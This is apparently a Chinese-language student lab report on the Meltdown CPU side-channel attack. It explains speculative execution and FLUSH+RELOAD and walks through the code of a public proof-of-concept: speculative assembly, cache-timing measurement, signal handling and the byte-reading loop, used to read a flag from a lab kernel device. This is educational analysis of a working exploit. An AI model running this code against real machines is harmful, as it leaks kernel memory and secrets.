Skip to content

meltdown 侧信道攻击实验报告

复制本地路径 | 在线编辑

研究生一门课的一个作业。Meltdown 漏洞是一个很著名的漏洞,利用了缓存延时,很精妙。

攻击原理

正常情况下,用户程序访问内核地址会因为权限问题触发异常,从而无法达到目的。比如汇编语句 mov rax, byte [xxx],当 xxx 是内核地址时,用户执行这条指令会被 CPU 标记为非法,触发异常后会把 rax 清零。所以即使忽略掉异常,后续指令仍然无法得到内核地址 xxx 的内容。

上述的保护方式看起来十分坚固,但是 meltdown 攻击利用 CPU 会进行乱序执行的特点找到了突破口。如 C 语言语句 char data = *(char*) xxx; variable = arrary[data * 4096],转换成如下汇编语句。

mov rax, byte [xxx] // illegal
shl rax, 0xC // rax * 4096
mov rcx, [rbx + rax] // rbx = array, rcx = variable

CPU 乱序执行这段代码会让在第一条语句触发异常前,部分执行第二条、第三条语句。比如就有可能在触发异常前,CPU 已经计算好了 rbx + rax*4096,而这里的 rax 就是内核地址中的内容。但是异常触发后仍然是一切可利用的信息都会消失,比如上述语句中raxrbx 都会被清零。

但是实际上,并不是所有可利用的消息都被清除掉了:假如 rbx + rax*4096 这一地址不在 cache 中,那么 CPU 会将这一地址放入 cache,并且异常触发不会从 cache 中擦除!

因此可以通过 cache 进行信息泄露,具体方式是判断数据访问时间的长短。数据在和不在 cache 中,访问该数据的时间相对来说是有不少差别的。方法的具体名称叫做 FLUSH + RELOAD,具体做法如下。

  1. 先清除掉 cache 内容,确保 array 即 rbx 这一段内容都不在 cache 中

  2. 执行上述的汇编语句,执行完后可以保证 rbx + rax * 4096 这段地址放入了 cache 中

  3. rbx + 0*4096 开始遍历整个 array,假如某个地址访问时间相对与其他地址时间较短,那么就可以推出 rax ,即内核地址内容

攻击方法

本次攻击使用了该项目的代码:paboldin/meltdown-exploit: Meltdown Exploit PoC (github.com)。下面主要是对该项目的攻击代码进行分析。

攻击流程

攻击流程分为清除 cache 内容,将数据放入 cache,获取访问数据时间,推断目标数据。最后对这几个部分进行汇总。

清除 cache 内容

void clflush_target(void)
{
    for (int i = 0; i < VARIANTS_READ; i++)
        _mm_clflush(&target_array[i * TARGET_SIZE]);
}

利用 _mm_clflush 即可实现该功能。

数据放入 cache

static void __attribute__((noinline)) 
speculate(unsigned long addr)
{
    asm volatile (
        "1:\n\t"

        ".rept 300\n\t"
        "add $0x141, %%rax\n\t"
        ".endr\n\t"

        "movzx (%[addr]), %%eax\n\t"
        "shl $12, %%rax\n\t"
        "jz 1b\n\t"
        "movzx (%[target], %%rax, 1), %%rbx\n"

        "stopspeculate: \n\t"
        "nop\n\t"
        :
        : [target] "r" (target_array),
          [addr] "r" (addr)
        : "rax", "rbx"
    );
}
  1. 第 11-14 行是攻击原理中所讲的代码,通过这段代码就可以让 rbx + rax*4096 这一块地址放入 cache 中。
  2. 第 07-09 行是进行 300 次 add rax, 0x141,执行这段代码因为有依赖关系,所以会顺序执行。这样就确保执行第 11-14 行代码不会被前面的语句干扰到。

获取访问数据时间

static inline int
get_access_time(volatile char* addr)
{
    unsigned long long time1, time2;
    unsigned junk;
    time1 = __rdtscp(&junk);
    (void)* addr;
    time2 = __rdtscp(&junk);
    return time2 - time1;
}

rdtscp 函数通常用来测量代码的执行时间。rdtscp 含义是 read TSC(Time Stamp Counter) 寄存器。TSC 寄存器在每个 CPU 时钟信号到来时加 1。通过这个指令,我们可以获得纳秒级别的时间精度。

上述代码在执行两个 rdtscp 函数之间中把要访问的地址当成函数执行,从而可以得到访问目标地址所用的时间。

推断访问数据

void check(void)
{
    int i, time, mix_i;
    volatile char *addr;

    for (i = 0; i < VARIANTS_READ; i++) {
        mix_i = ((i * 167) + 13) & 255;

        addr = &target_array[mix_i * TARGET_SIZE];
        time = get_access_time(addr);

        if (time <= cache_hit_threshold)
            hist[mix_i]++;
    }
}

遍历 target_array 数组,并且计算访问时间,然后判断时间是否在预先设定的阈值内,若小于则记录一次。该阈值设定方法见其他注意点部分。

整体逻辑

#define CYCLES 1000
int readbyte(int fd, unsigned long addr)
{
    int i, ret = 0, max = -1, maxi = -1;
    static char buf[256];

    memset(hist, 0, sizeof(hist));

    for (i = 0; i < CYCLES; i++) {
        ret = pread(fd, buf, sizeof(buf), 0);

        clflush_target();
        _mm_mfence();
        speculate(addr);
        check();
    }

    for (i = 1; i < VARIANTS_READ; i++) {
        if (!isprint(i))
            continue;
        if (hist[i] && hist[i] > max) {
            max = hist[i];
            maxi = i;
        }
    }

    return maxi;
}

执行多次清除cache→数据放入cache→获取访问时间→推断访问数据的流程。在推断访问流程即 check 函数中,每一个访问时间小于设定阈值的都会被记录一次。因此最终执行多次后,找到被记录最多次的数字,该数字即为该位置中的内容。

此外执行流程中执行了函数 __mm_mfence ,该函数作用是读写串行化,即防止 CPU 乱序执行指令,保证执行数据放入 cache 这一操作时不会被前面的指令干扰。其目的和数据放入 cache 的第 7-9 行功能一样。

其他注意点

这一部分讲一下其他的注意点,包括处理异常和设定时间阈值。

处理异常

int set_signal(void)
{
    struct sigaction act = {
        .sa_sigaction = sigsegv,
        .sa_flags = SA_SIGINFO,
    };

    return sigaction(SIGSEGV, &act, NULL);
}

通过重载 sigaction 达到忽略异常的目的。

设定时间阈值

#define ESTIMATE_CYCLES 1000000
static void set_cache_hit_threshold(void)
{
    long cached, uncached, i;

    for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
        get_access_time(target_array);

    for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
        cached += get_access_time(target_array);

    for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
        _mm_clflush(target_array);
        uncached += get_access_time(target_array);
    }

    cached /= ESTIMATE_CYCLES;
    uncached /= ESTIMATE_CYCLES;

    cache_hit_threshold = mysqrt(cached * uncached);
}

即分别执行多次命中 cache 和 不命中 cache 的操作,得出命中和不命中的时间,阈值最终设定为这两者的乘积的平方根。设定该阈值准确度较高。

攻击结果

首先确定 /dev/memdev0 的内容,通过给的虚拟设备源码可以知道,该内容即为内核中 flag 的地址。

然后编译 meltdown 程序,执行该程序,传入对应的地址信息即可获取 flag。

最终的结果为 flag{cpu_side_channel_info_leak}